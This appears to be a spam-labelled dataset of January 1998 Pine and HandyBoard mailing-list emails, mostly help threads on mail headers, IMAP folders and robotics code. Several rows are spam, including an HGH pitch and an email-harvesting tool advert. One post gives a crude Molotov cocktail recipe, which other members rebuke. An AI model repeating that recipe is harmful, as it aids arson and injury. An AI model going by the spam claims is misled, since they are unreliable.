,"Wed, 21 Jan 1998 16:11:32 -0700",Pine with Wyse 50 emulation on AIX 4.2.1,"Hello, I know the trick mentioned in the email with the subject:""Pine & Cursor Keys with Wyse50 and Wyse60 terminals"" but I am working with AIX v 4.2.1 and it doesn't use termcap; it uses terminfo. I've uncommented the terminfo entry in ./pine/osdep/os-a41.h and it won't work. ( I do have the Wyse terminal definitions installed ) I've tried the -DTERMCAP_WINS hack with termcap support installed; that didn't work. So now I'm looking at a source file called ttyin.c and in it I see some escape sequences for various terminals. So, I'm wondering if there is anybody who could tell me if I add the escape sequences for Wyse 50 here if it would work. I only need the up and down arrow keys to work. Thanks for you time and help. Cheers, Jeff Jeff Beard ________________________________________________________________ Systems Administration McGuckin Hardware 303.443.1832 x646 www.mcguckin.com ",0,0 SuperFly !! ,Pine Discussion Forum ,"Wed, 21 Jan 1998 17:33:43 -0600",distribution list question," I created a distribution list using pine, ( an e-mail list). I would like to know if there is anyway i can hide the addresses of the mailing list. So when i send out a list every address is not exposed to the recipients. Is there a hide option I can use ? Any info would be great !! Thanks Chris Sacco ",0,0 Edward M Greshko ,Pine Discussion Forum ,"Thu, 22 Jan 1998 07:40:46 +0800",Re: distribution list question,"On Wed, 21 Jan 1998, SuperFly !! wrote: > I created a distribution list using pine, ( an e-mail list). I would like > to know if there is anyway i can hide the addresses of the mailing list. > So when i send out a list every address is not exposed to the recipients. > Is there a hide option I can use ? Any info would be great !! Put your cursor in the header area. Type cntrl-r. This brings you to the ""rich-headers"". Put your cursor on the Lcc: header. Type cntrl-g to read the help on Lcc: Lcc: does what you want. -- Edward M. Greshko Technical Manager, Electronic Commerce GSM: +65-975-10860 Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Didier Godefroy ,Pine Discussion Forum ,"Wed, 21 Jan 1998 19:01:00 +0000",procmail or slocal?,"I am trying to decide if I have to install procmail on my system or just use slocal to make auto-responders. The informations I've found so far have been rather cryptic and none mention anything about auto-responders. I'd rather try to get slocal to do it right now since it's already installed and space is a bit limited for now. Could anyone help with some pointers on how to setup slocal to handle auto-responders? -- Didier Godefroy mailto:godefro@ibm.net mailto:dg@ulysium.net ",0,0 Yoni Garbourg ,HandyBoard ,"Wed, 21 Jan 1998 16:45:23 -0500",Polaroid Sensor Problems," i have teh sensor hooked up, and I didn't test it much yet, but so far, I am getting a clicking sound when I run it, but the values appear to be completely random (a lot even negative). Am I doing something wrong that's obvious. Thanks, Yoni Garbourg ",0,0 Scott Seaton - Systems Consultant - ESG ,"skidmorj@cs.man.ac.uk, rsargent@newtonlabs.com","Thu, 22 Jan 1998 10:16:40 +1100",Re: New S19 with includes PWM routines for IC3.1?,"Hi I don't have any objection to putting the modified files up for general download - I only added Julian's code to the 3.1 source... I also modified the ""boot"" message so that it is obvious that you are running the new PWM code. I've changed the IC version definition to print: ""IC 3.1 SMOOTHPWM"" If you like I can send the modified pcode.asm and Makefile to Newtonlabs for inclusion in the next version of IC (or diff's if you would prefer). I've tested the new s19 file and can't find any anomalies, and the change in motor control really does work (thanks Julian !). Scott ",0,0 Bricker Aya ,handyboard@media.mit.edu,"Wed, 21 Jan 1998 14:35:41 -0500",Is Fatigue and Depression Killing U?,", hogan try commissary , chamfer it's bolo it's haggard ",1,0 Stacker ,"""'handyboard@media.mit.edu'"" ","Wed, 21 Jan 1998 17:53:49 -0600",Problems Downloading To E2," First of all, is it even possible to use an E2 68HC11 variant w/ the HB? And if so can I d/l to it without having the LCD attached? As it stands now, I receive an error that the board is in the wrong mode using HBDL.exe while trying to d/l the pcode_hb.s19. Any ideas? Thanks, Joshua Stark j-stark@uiuc.edu Inspiring Computer Engineering Major ",0,0 Cliff Green ,Pine Discussion Forum ,"Wed, 21 Jan 1998 22:25:25 -0500",Re: distribution list question,"On Thu, 22 Jan 1998, Edward M Greshko wrote: > On Wed, 21 Jan 1998, SuperFly !! wrote: > > > I created a distribution list using pine, ( an e-mail list). I would like > > to know if there is anyway i can hide the addresses of the mailing list. > > So when i send out a list every address is not exposed to the recipients. > > Is there a hide option I can use ? Any info would be great !! > > Put your cursor in the header area. > Type cntrl-r. This brings you to the ""rich-headers"". > Put your cursor on the Lcc: header. > Type cntrl-g to read the help on Lcc: > > Lcc: does what you want. Or it should. We get the following error and the mail is returned: <--- failed mail follows ---> >From MAILER-DAEMON@umdnj.edu Wed Jan 21 22:05:26 1998 Date: Wed, 21 Jan 1998 21:55:04 -0500 (EST) From: Mail Delivery Subsystem To: green@umdnj.edu Subject: Returned mail: List alias test: ;... list:; syntax illegal for recipient addresses The original message was received at Wed, 21 Jan 1998 21:55:03 -0500 (EST) from green@localhost ----- The following addresses have delivery notifications ----- List alias test: ; (unrecoverable error) ----- Transcript of session follows ----- 553 List alias test: ;... list:; syntax illegal for recipient addresses [ Part 2: ""Included Message"" ] Reporting-MTA: dns; rwja.UMDNJ.EDU Arrival-Date: Wed, 21 Jan 1998 21:55:03 -0500 (EST) Final-Recipient: RFC822; @rwja.UMDNJ.EDU Action: failed Status: 5.1.3 Last-Attempt-Date: Wed, 21 Jan 1998 21:55:04 -0500 (EST) [ Part 3: ""Included Message"" ] [test message munched] <--- failed mail ends ---> SO, my question is the obvious: what are we doing wrong? c -- Clifford Green Internet - green@umdnj.edu Academic Computing Services voice - 732-235-5250 UMDNJ-IST fax - 732-235-5252",0,0 Mary Cheshaek ,Pine Discussion Forum ,"Wed, 21 Jan 1998 11:41:36 -0800",REPLY TO ALL RECIPIENTS,"I would like to know if PINE 3.95 has the capability of setting REPLY TO ALL RECIPIENTS to a default of NO? If so how do I go about setting the default option to NOT reply back to all recipients? Thanks, Mary Cheshaek Information Systems Manager Alliance for Community Care ",0,0 eriko-sakurai ,mailarch+pine-info@groupms.cac.washington.edu,,江里子です。セレブの決定版！,"http://www.nanpara6.net/?1230 お金に困っている男性のみ！ http://www.nanpara6.net/?1230 配信不要はこちら迄→ hohoemi_gaeshi02@yahoo.fr In an unnecessary delivery, even here is → hohoemi_gaeshi02@yahoo.fr 送信不需要→ hohoemi_gaeshi02@yahoo.fr ",1,1 Norbert Koch ,Pine Discussion Forum ,"Thu, 22 Jan 1998 07:05:50 +0100",Re: distribution list question,">>>On Wed, 21 Jan 1998 22:25:25 -0500 (EST), Cliff Green said: Hi, [good comments on Lcc:] CG> Or it should. We get the following error and the mail is CG> returned: CG> <--- failed mail follows ---> >> From MAILER-DAEMON@umdnj.edu Wed Jan 21 22:05:26 1998 CG> Date: Wed, 21 Jan 1998 21:55:04 -0500 (EST) From: Mail Delivery CG> Subsystem To: green@umdnj.edu Subject: CG> Returned mail: List alias test: ;... list:; syntax illegal for CG> recipient addresses CG> The original message was received at Wed, 21 Jan 1998 21:55:03 CG> -0500 (EST) from green@localhost [rest of error message] is it possible that the separator (semicolon, isn't it) is wrong? I've just had a look into the tech-notes: The address field takes one of two forms, depending on whether the entry is a single (simple) address or a distribution list. For a simple entry, the address field is the email-address part of the address, i.e., the part that goes inside the brackets (<>). It is combined with the fullname field to form the complete address. For a distribution list, the is in the format: ""("" , , , ... "")"" just a guess, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 Terry Gray ,Pine Discussion Forum ,"Wed, 21 Jan 1998 22:36:48 -0800",Re: distribution list question,"Cliff, Contrary to the message from your MTA, the so-called ""group"" syntax foo: ; is valid, i.e., is compliant with the standard... but not all MTAs accept it. Two choices: upgrade your MTA or replace the To: address with any conventional (non ""group"") address. Don't leave the To: field blank or some (other) MTAs will add an ""Apparently-To"" line for each recipient. -teg On Wed, 21 Jan 1998, Cliff Green wrote: > On Thu, 22 Jan 1998, Edward M Greshko wrote: > > Lcc: does what you want. > > Or it should. We get the following error and the mail is returned: > > <--- failed mail follows ---> > > >From MAILER-DAEMON@umdnj.edu Wed Jan 21 22:05:26 1998 > Date: Wed, 21 Jan 1998 21:55:04 -0500 (EST) > From: Mail Delivery Subsystem > To: green@umdnj.edu > Subject: Returned mail: List alias test: ;... list:; syntax illegal for recipient addresses > > The original message was received at Wed, 21 Jan 1998 21:55:03 -0500 (EST) > from green@localhost > > ----- The following addresses have delivery notifications ----- > List alias test: ; (unrecoverable error) > > ----- Transcript of session follows ----- > 553 List alias test: ;... list:; syntax illegal for recipient addresses",0,0 Hillary Sawyer ,mailarch+pine-info@groupms.cac.washington.edu,"Thu, 22 Jan 1998 07:43:10 -0900",Want to live forever? ,"After the age of twenty-one, your body slowly stops releasing an important hormone known as HGH (Human Growth Hormone). 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Kerman"" ",Pine Discussion Forum ,"Thu, 22 Jan 1998 00:51:27 -0600",Re: distribution list question,">From: Norbert Koch >Date: 22 Jan 1998 07:05:50 +0100 >>Returned mail: List alias test: ;... list:; syntax illegal for recipient ^^^ >>addresses >is it possible that the separator (semicolon, isn't it) is wrong? That looks right. "": ;"" is a signal to sendmail that addresses that follow should not be placed on the To header. >I've just had a look into the tech-notes: >The address field takes one of two forms, depending on whether the entry is a >single (simple) address or a distribution list. For a simple entry, the >address field is the email-address part of the address, i.e., the part that >goes inside the brackets (<>). It is combined with the fullname field to form >the complete address. For a distribution list, the is in the format: > ""("" , , , ... "")"" ^ ^ ^ It's the address list itself that must be comma-delimited. But, that has nothing to do with the "": ;"" that is placed on the To.",0,0 Thomas Vanselow ,"""Handyboard (E-mail)"" ","Wed, 21 Jan 1998 23:50:45 -0600",Printing Floating Point Values,"Hello, Can anyone suggest a graceful means of printing a floating point number to the LCD using a specified number of decimal places? Thanks, Tom ",0,0 bb771s ,Pine Discussion Forum ,"Thu, 22 Jan 1998 03:09:35 -0800",,"Authenticated sender is Subject: Thursday Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit EMAIL MARKETING WORKS!! Bull's Eye Gold is the PREMIER email address collection tool. This program allows you to develop TARGETED lists of email addresses. Doctors, florists, MLM, biz opp,...you can collect anything...you are only limited by your imagination! You can even collect email addresses for specific states, cities, and even countries! All you need is your web browser and this program. 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I suppose by system you mean WinBlows XX, because who else would try to attach a WORD document? Anyway, while composing a message, press ctrl-j (attach file) and either enter the name of the file or press ctrl-t (to files) in order to get a directory tree which you can use to search for the file. Btw, the pine online-help is *very* well written and able to answer your question right away, afaik. Also it's a good idea to look for the options, presently given. I hope this is *not* offending and I haven't missed any details. l8er, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing! ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Thu, 22 Jan 1998 09:09:53 -0600",attaching a file (was: How Do You?),"posted and mailed >From: kasliwal@jp1.vsnl.net.in >Date: Thu, 22 Jan 1998 20:19:06 +0000 (GMT) >This system is very user-unfriendly, but I am stuck with it. Try the context-sensitive help. There is a help topic for every function and option, and each header in the composer. Just hit ^g. >Please tell me how to attach a WORD file to a message that I am composing? If you are using Unix pine via a shell account, upload the file to your home directory. Enter the composer, put cursor in headers, ^j and name the file to attach, fill in rest of headers, write an explanation in the body, send message. ",0,0 Edward M Greshko ,Pine Discussion Forum ,"Thu, 22 Jan 1998 23:31:31 +0800",Re: How Do You?,"On Thu, 22 Jan 1998 kasliwal@jp1.vsnl.net.in wrote: > This system is very user-unfriendly, but I am stuck with it. Please tell > me how to attach a WORD file to a message that I am composing? Thanks in > advance. In addition to the other messages, which were helpful, it should also be pointed out that VSNL has not seen fit to upgrade their version of pine. You are using version 3.91 which is ""old"". Pine is now at 3.96 which offers the ability to so file uploads and downloads from within pine. IMHO, a lot of the problems are created by VSNL. They are a government run ISP and they give little or no service to their customers.... Regards, -- Edward M. Greshko Technical Manager, Electronic Commerce GSM: +65-975-10860 Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Tim Mundy ,Pine Discussion Forum ,"Thu, 22 Jan 1998 08:23:07 -0800",Take me off the list,"Hi, Please take me off of this list ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Stefan Kramer ,Pine Discussion Forum ,"Thu, 22 Jan 1998 09:01:09 -0800",Re: Take me off the list,"Instructions for subscribing to and unsubscribing from this list can be found at http://www.washington.edu/pine/pine-info/subscribing.html: Send the message: To the address: To be added to Pine-Info: subscribe pine-info YourName listproc@u.washington.edu To be removed from Pine-Info: unsubscribe pine-info listproc@u.washington.edu where YourName is your full name. ------------------------------------------------------------ Stefan Kramer skramer@cac.washington.edu University of Washington Computing & Communications ------------------------------------------------------------ On Thu, 22 Jan 1998, Tim Mundy wrote: > Message-ID: <19980122162308.13604.qmail@hotmail.com> > From: Tim Mundy > To: Pine Discussion Forum > Date: Thu, 22 Jan 1998 08:23:07 PST > Subject: Take me off the list > > Hi, > > Please take me off of this list > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com >",0,1 james white ,Pine Discussion Forum ,"Thu, 22 Jan 1998 17:05:22 +0000",HELP,"I have a mime message in my E-mail and have no idea how to convert it into MS format. I have info re. the decoder ect. however, I have no idea on how to get my hands on it. I do not know how to get the stuff out of ftp.andrew.cmu.edu. When I search the web using that address I get not found. Please help me get on the right track or point me to a place I can. Thanks Jim White ",0,0 Stefan Kramer ,Pine Discussion Forum ,"Thu, 22 Jan 1998 09:16:31 -0800",Re: Pine imap and folders,"Rick, Go into PINE's FOLDER LIST screen and check the context-sensitive help for it -- see the section on ""Valid Folder Names"" near the end. One fictitious (so far ;-) example given there for accessing a remote folder other than the INBOX on another server is: {monet.art.nowhere.edu}~/mail/september-1994 ------------------------------------------------------------ Stefan Kramer skramer@cac.washington.edu University of Washington Computing & Communications ------------------------------------------------------------ On Wed, 21 Jan 1998, Rick Gaine wrote: > Message-ID: > From: Rick Gaine > To: Pine Discussion Forum > Date: Wed, 21 Jan 1998 15:09:03 -0500 (EST) > Subject: Pine imap and folders > > > > I know that Pine has the ability to allow for remote mail checking via > imap by changing the inbox path to {server}INBOX. My question is, can > you set up pine to allow you to check remote servers by selecting another > folder? I see this as a useful feature. If this does exist, how do I do > it? > > Rick > >",0,0 Drachen ,Pine Discussion Forum ,"Thu, 22 Jan 1998 09:29:45 -0800",Re: Pine imap and folders,"well, it's sort of fictitious. I got something like that to work on my machine. I have four email boxes INBOX /var/spool/mail/drachen {mail1.eni.net}abuse {mail1.eni.net}drachen IN.testing /home/drachen/mail/IN.testing It sorta works. It requires much going in and out of pine. I'm working on refining now. -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol On Thu, 22 Jan 1998, Stefan Kramer wrote: > Rick, > > Go into PINE's FOLDER LIST screen and check the context-sensitive help for > it -- see the section on ""Valid Folder Names"" near the end. One fictitious > (so far ;-) example given there for accessing a remote folder other than > the INBOX on another server is: > > {monet.art.nowhere.edu}~/mail/september-1994 > > ------------------------------------------------------------ > Stefan Kramer skramer@cac.washington.edu > University of Washington Computing & Communications > ------------------------------------------------------------ > > On Wed, 21 Jan 1998, Rick Gaine wrote: > > > Message-ID: > > From: Rick Gaine > > To: Pine Discussion Forum > > Date: Wed, 21 Jan 1998 15:09:03 -0500 (EST) > > Subject: Pine imap and folders > > > > > > > > I know that Pine has the ability to allow for remote mail checking via > > imap by changing the inbox path to {server}INBOX. My question is, can > > you set up pine to allow you to check remote servers by selecting another > > folder? I see this as a useful feature. If this does exist, how do I do > > it? > > > > Rick > > > > > > > >",0,0 Terry Gray ,Pine Discussion Forum ,"Thu, 22 Jan 1998 11:17:30 -0800",Re: How Do You?,"Note also that *PC*-Pine exists and was developed specifically to make it easy to deal with attachments in a windows environment. -teg On Thu, 22 Jan 1998, Edward M Greshko wrote: > On Thu, 22 Jan 1998 kasliwal@jp1.vsnl.net.in wrote: > > > This system is very user-unfriendly, but I am stuck with it. Please tell > > me how to attach a WORD file to a message that I am composing? Thanks in > > advance. > > In addition to the other messages, which were helpful, it should also be > pointed out that VSNL has not seen fit to upgrade their version of pine. > You are using version 3.91 which is ""old"". Pine is now at 3.96 which > offers the ability to so file uploads and downloads from within pine. > > IMHO, a lot of the problems are created by VSNL. They are a government > run ISP and they give little or no service to their customers.... > > Regards, > > -- > Edward M. Greshko Technical Manager, Electronic Commerce > GSM: +65-975-10860 Control Data Asia/Pacific Region > PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE > > ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Thu, 22 Jan 1998 20:26:14 +0100",Re: HELP,"> ""jw"" == james white writes: jw> I have a mime message in my E-mail and have no idea how to convert jw> it into MS format. You're not using pine. What's ""MS format""? What are you doing here? jw> I have info re. the decoder ect. however, I have no idea on how to jw> get my hands on it. I do not know how to get the stuff out of jw> ftp.andrew.cmu.edu. When I search the web using that address I jw> get not found. Please help me get on the right track or point me jw> to a place I can. Try the Microsoft hotline. They're brilliant technicians with a very good reputation all over the world. In fact they're about the best makers of software and hotlines there ever were. Where else do you want to go today? Robin -- Robin S. Socha Political Science Dept., Bonn University Robin: You are a rude twit. (Sam Trenholme)",0,0 Terry Gray ,Pine Discussion Forum ,"Thu, 22 Jan 1998 11:32:14 -0800",Re: Pine imap and folders," On Wed, 21 Jan 1998, Rick Gaine wrote: > I know that Pine has the ability to allow for remote mail checking via > imap by changing the inbox path to {server}INBOX. My question is, can > you set up pine to allow you to check remote servers by selecting another > folder? I see this as a useful feature. If this does exist, how do I do > it? In addition to previous responses regarding Pine folder collections, you might also want to consider defining multiple *incoming* folders, so that it is easy to check for new mail in them simply by using the TAB command to automatically cycle through them from the INDEX screen. (Pine will stop and open the folder only if there are new/interesting messages in it.) To do this, first, set the ""enable-incoming-folders"" feature, then use the ADD dialog in the folder collection screen, OR edit your pinerc to have something like: incoming-folders=STATUS {shivams.cac.washington.edu}status, IMAP {shivams.cac.washington.edu}imap, ACAP {shivams.cac.washington.edu/user=gray}acap, PINE-INFO {shivams.cac.washington.edu:145}pine-info, SMIME {shivams.cac.washington.edu:145/user=gray}smime, CompMailPine {shivams.cac:145}{news.u.washington.edu/nntp}#news.comp.mail.pine, Note that in my case above, I have different kinds of messages vectored into different folders on the same server; that's done by a delivery filtering too (e.g. procmail), but you might have different kinds of messages going to different servers... Also note that the last line above assumes the latest UW IMAP server, which will proxy between an IMAP client and an NNTP server. That won't work with earlier UW IMAP servers. -teg ",0,0 Amanda L Small ,Pine Discussion Forum ,"Thu, 22 Jan 1998 13:32:04 -0600",pine problem," When I open my inbox, the bottom of my screen reads, ' Error saving configuration in file ""/home/duc20/smallal/.pinerc"" ' In the middle of composing messages, it reads 'No room for file: Disc quota exceeded' When it usually reads 'Writing Fcc', it reads 'write to ""/home/duc20/smallal/dead.letter"" FAILED!' My e-mail address is smallal@mail.auburn.edu ",0,0 Drachen ,Pine Discussion Forum ,"Thu, 22 Jan 1998 11:41:54 -0800",Re: Pine imap and folders,"woahwoahwoahwoahwoah did you just imply that you got procmail to work with IMAP? Please tell how. -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol ",0,0 John Highway Wu ,Pine Discussion Forum ,"Thu, 22 Jan 1998 14:42:59 -0500",Re: pine problem,"""Disk Quota Exceeded"" means that the storage disk that pine normally writes to is currently full, in this case, your account has been filled to capacity. You'll have to delete files that you no longer need to make room for new files. Since your storage disk is filled, you cannot save your configuration file for PINE, and if the Fcc-Folder is set to a file in your directory, you cannot save any files. -----Original Message----- From: Amanda L Small To: Pine Discussion Forum Date: Thursday, January 22, 1998 2:36 PM Subject: pine problem > > >When I open my inbox, the bottom of my screen reads, >' Error saving configuration in file ""/home/duc20/smallal/.pinerc"" ' > >In the middle of composing messages, it reads 'No room for file: Disc >quota exceeded' > >When it usually reads 'Writing Fcc', it reads 'write to >""/home/duc20/smallal/dead.letter"" FAILED!' > >My e-mail address is smallal@mail.auburn.edu > > > > > > > > >",0,0 Drachen ,Pine Discussion Forum ,"Thu, 22 Jan 1998 11:40:13 -0800",Re: pine problem,"there's no room left in your disk quota. delete some stuff or talk to your local system administrator. Vinnie -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol On Thu, 22 Jan 1998, Amanda L Small wrote: > > > When I open my inbox, the bottom of my screen reads, > ' Error saving configuration in file ""/home/duc20/smallal/.pinerc"" ' > > In the middle of composing messages, it reads 'No room for file: Disc > quota exceeded' > > When it usually reads 'Writing Fcc', it reads 'write to > ""/home/duc20/smallal/dead.letter"" FAILED!' > > My e-mail address is smallal@mail.auburn.edu > > > > > > > > > > ",0,0 Keri Wiggins ,handyboard@media.mit.edu,"Thu, 22 Jan 1998 06:53:14 -0600",RE: F9,"LOWER your monthly mortgage/rent payments by a third or more! Your Possible Pre-qualified Rates ________________ $495,000 | 3,95% $515,000 | 4,15% $355,000 | 3,75% $240,000 | 4,33% $915,000 | 4,05% http://ar.geocities.com/moorefield10amoore ",1,1 Terry Gray ,Pine Discussion Forum ,"Thu, 22 Jan 1998 11:56:27 -0800",Re: Pine imap and folders," On Thu, 22 Jan 1998, Drachen wrote: > woahwoahwoahwoahwoah > > did you just imply that you got procmail to work with IMAP? > > Please tell how. Well, no, I said ""e.g. procmail""... that is ""for example, procmail"". As it happens, I don't use procmail myself (I use a user+folder@foo.bar addressing convention), but I believe many do use procmail successfully with IMAP, and I don't understand what the problem would be FOR SITES THAT PERMIT SHELL OR NFS ACCESS TO THE IMAP SERVER and use the normal Unix mailbox format. For sites that don't meet the above test, the general problem of user-controlled delivery filtering in a black-box, client-server environment is, I think, still unsolved. It's on our local list of email issues, but hasn't gotten much attention yet. I believe some IMAP clients actually do pseudo-delivery filtering when they start up by applying rules to the messages in the INBOX and stuffing them back into different server folders according to those rules. We've resisted going down that path in Pine, because it is obviously less efficient than doing delivery filtering all on the server at the time messages arrive --but the client-based approach is a pragmatic work-around to the lack of any standards or infrastructure for ""doing it right"". So... could you clarify the problem you are interested in? -teg ",0,0 Drachen ,Pine Discussion Forum ,"Thu, 22 Jan 1998 12:27:11 -0800",Re: Pine imap and folders,"I was so hoping :) -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol On Thu, 22 Jan 1998, Terry Gray wrote: > > On Thu, 22 Jan 1998, Drachen wrote: > > > woahwoahwoahwoahwoah > > > > did you just imply that you got procmail to work with IMAP? > > > > Please tell how. > > Well, no, I said ""e.g. procmail""... that is ""for example, procmail"". As > it happens, I don't use procmail myself (I use a user+folder@foo.bar > addressing convention), but I believe many do use procmail successfully > with IMAP, and I don't understand what the problem would be FOR SITES THAT > PERMIT SHELL OR NFS ACCESS TO THE IMAP SERVER and use the normal Unix > mailbox format. > > For sites that don't meet the above test, the general problem of > user-controlled delivery filtering in a black-box, client-server > environment is, I think, still unsolved. It's on our local list of email > issues, but hasn't gotten much attention yet. > > I believe some IMAP clients actually do pseudo-delivery filtering when > they start up by applying rules to the messages in the INBOX and stuffing > them back into different server folders according to those rules. We've > resisted going down that path in Pine, because it is obviously less > efficient than doing delivery filtering all on the server at the time > messages arrive --but the client-based approach is a pragmatic work-around > to the lack of any standards or infrastructure for ""doing it right"". > > So... could you clarify the problem you are interested in? > > -teg > > >",0,0 greto ,Pine Discussion Forum ,"Thu, 22 Jan 1998 14:16:34 -0700",level 11 doom!!!!,"I don't know if you were the right person to e-mail, but there is fuck all else on the net for the actual doom2 help. I'm in level 11, everythings dead and i've got a key but i dont know how to get on the platform that leads to the exit. If you know get back or just go ahead and be dink and keep it all to yourself? Just kidding, if you dont want to say I guess i'll just keep searching till armageddon ",0,0 Jewel Knofler ,Pine Discussion Forum ,"Thu, 22 Jan 1998 19:43:35 +0600",Bombs,"Fill a glass bottle with gas and put a cloth in the neck of the bottle and light it and BOOM!!!!!!! ",0,0 Brad ,Pine Discussion Forum ,"Thu, 22 Jan 1998 14:49:24 -0700","Inconsistent ""Reply to all recipients""","Hey all. I noticed something peculiar today. I run pine on a couple of systems, one on 3.95 and the other on 3.96. Here's an outline of what I did: System Action - 3.96 Sent a message to 3.95. - 3.95 Replied to message (Pine asked to include msg in reply) - 3.96 Replied to reply #1 (Pine asked to include msg & reply to all recipients) - 3.95 Replied to reply #2 (Pine only asked to include msg in reply) - 3.96 Replied to reply #3 (Pine asked to include msg & reply to all recipients) - * Repeat ad-nauseum Looking at the headers, the only thing that I can see different is that the msg sent from the 3.96 system has a ""Return-Path"" line. I manually added one to the msg sent from 3.95, but it had no effect. System 3.96 is running Sendmail 8.8.4/8.6.12, and the other Sendmail 8.8.4/8.6.1. Notice that on the 3.96 system, pine prompts with a ""Reply to all recipients"", which I didn't get on the 3.95. Is this one of the ""bug fixes"" indicated in the rel. notes? Any ideas? Thanks, -Brad ",0,0 Drachen ,Pine Discussion Forum ,"Thu, 22 Jan 1998 14:14:39 -0800",Re: level 11 doom!!!!,"this is absolutely the wrong place to email. hmm. I might try going to a good search engine (http://www.webcrawler.com or http://www.yahoo.com ) type in 'doom' and see what comes back. Vinnie (who has never even played doom and therefore knows nothing about it) -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol On Thu, 22 Jan 1998, greto wrote: > I don't know if you were the right person to e-mail, but there is fuck all > else on the net for the actual doom2 help. I'm in level 11, everythings > dead and i've got a key but i dont > know how to get on the platform that leads to the exit. If you know get > back or just go ahead and be dink and keep it all to yourself? Just > kidding, if you dont want to say I guess i'll just keep searching till > armageddon > > > ",0,1 Drachen ,Pine Discussion Forum ,"Thu, 22 Jan 1998 14:15:49 -0800",Re: Bombs,"is there a reason you posted the recipe for a malotov cocktail to a mailing list about pine, a mail user agent? unless there was a really good reason, please don't do it again. -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol On Thu, 22 Jan 1998, Jewel Knofler wrote: > Fill a glass bottle with gas and put a cloth in the neck of the bottle > and light it and BOOM!!!!!!! > > ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 23 Jan 1998 00:08:13 +0100",Re: Bombs,"On Thu, 22 Jan 1998, Drachen wrote: > is there a reason you posted the recipe for a malotov cocktail to a > mailing list about pine, a mail user agent? unless there was a really > good reason, please don't do it again. And it's not even a good one... The good ones have diesel and err... actually, I was only checking if my sendmail configuration is ok. Hmmm... Gotta set up Gnus again to mail a complaint to his postmaster. Cheers, Robin P.S. Yes, still robin@franck.pc.uni-koeln.de :-/ ",0,0 Drachen ,Pine Discussion Forum ,"Thu, 22 Jan 1998 15:14:53 -0800",Re: Bombs,"well, it looked like he was mailing from a school account and complaints to his postmaster would most likely get him banned from all the computers in his school, if not kicked out, so I was just going to smack him on the hand this time. I'm too soft head/hearted -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol On Fri, 23 Jan 1998, Robin S. Socha wrote: > On Thu, 22 Jan 1998, Drachen wrote: > > > is there a reason you posted the recipe for a malotov cocktail to a > > mailing list about pine, a mail user agent? unless there was a really > > good reason, please don't do it again. > > And it's not even a good one... The good ones have diesel and err... > actually, I was only checking if my sendmail configuration is ok. Hmmm... > Gotta set up Gnus again to mail a complaint to his postmaster. > > Cheers, > Robin > P.S. Yes, still robin@franck.pc.uni-koeln.de :-/ > > > ",0,0 james white ,Pine Discussion Forum ,"Fri, 23 Jan 1998 00:15:04 +0000",RE: HELP,"---------- From: Robin S. Socha Sent: Thursday, January 22, 1998 2:26 PM To: james white Cc: Pine Discussion Forum Subject: Re: HELP > ""jw"" == james white writes: jw> I have a mime message in my E-mail and have no idea how to convert jw> it into MS format. You're not using pine. What's ""MS format""? What are you doing here? jw> I have info re. the decoder ect. however, I have no idea on how to jw> get my hands on it. I do not know how to get the stuff out of jw> ftp.andrew.cmu.edu. When I search the web using that address I jw> get not found. Please help me get on the right track or point me jw> to a place I can. Try the Microsoft hotline. They're brilliant technicians with a very good reputation all over the world. In fact they're about the best makers of software and hotlines there ever were. Where else do you want to go today? Robin -- Robin S. Socha Political Science Dept., Bonn University Robin: You are a rude twit. (Sam Trenholme) I can agree with you Sam. For your information Robin MS is known to stand for Microsoft and I'm using the Works 4.0 application. One thing you should always remember Robin, is that you should not forget you friends on the way up because you will most likely need them on the way down. Thanks for at least responding I'll not trouble you any longer and I'll share your helpfulness with those I know. Jim White",0,0 David Fafarman ,Pine Discussion Forum ,"Thu, 22 Jan 1998 16:44:49 -0800",base64 question,"Hi. I'm wondering if I can obtain either the source for a base64 to binary converter, or a definition of how base64 is encoded? Thanks ... ",0,0 BRIAN E NISONGER ,Pine Discussion Forum ,"Thu, 22 Jan 1998 16:18:50 -0900",Re: base64 question," You will need to download a base64 converter they are commonally available on most freeware sites. I had one at one time but I never get that kind of email so I deleted it. By the way this is a FAQ might I recommend that you read it so that you can more quickly have answer any other questions. Brian Nisonger Computer Consultant AXBEN@UAA.ALASKA.EDU ""No Dave""- 2001 On Thu, 22 Jan 1998, David Fafarman wrote: > Hi. I'm wondering if I can obtain either the source for a base64 to > binary converter, or a definition of how base64 is encoded? > > Thanks ... > ",0,0 Max Davies ,handyboard@media.mit.edu,"Thu, 22 Jan 1998 17:25:15 -0500",Pingpong shooting competition,"I once heard of a competition where the objective was to build a solar-powered device that would shoot ping pong balls as fast/far as possible. Does anyone know of links to information on this contest? Thanks, /Max ",0,0 HOWARDSWER ,Pine Discussion Forum ,"Thu, 22 Jan 1998 20:42:37 -0500",MIME conversion,"When I get mail, it is sometimes in a ""multi-part MIME message"" fomat. I do not know how to convert it into 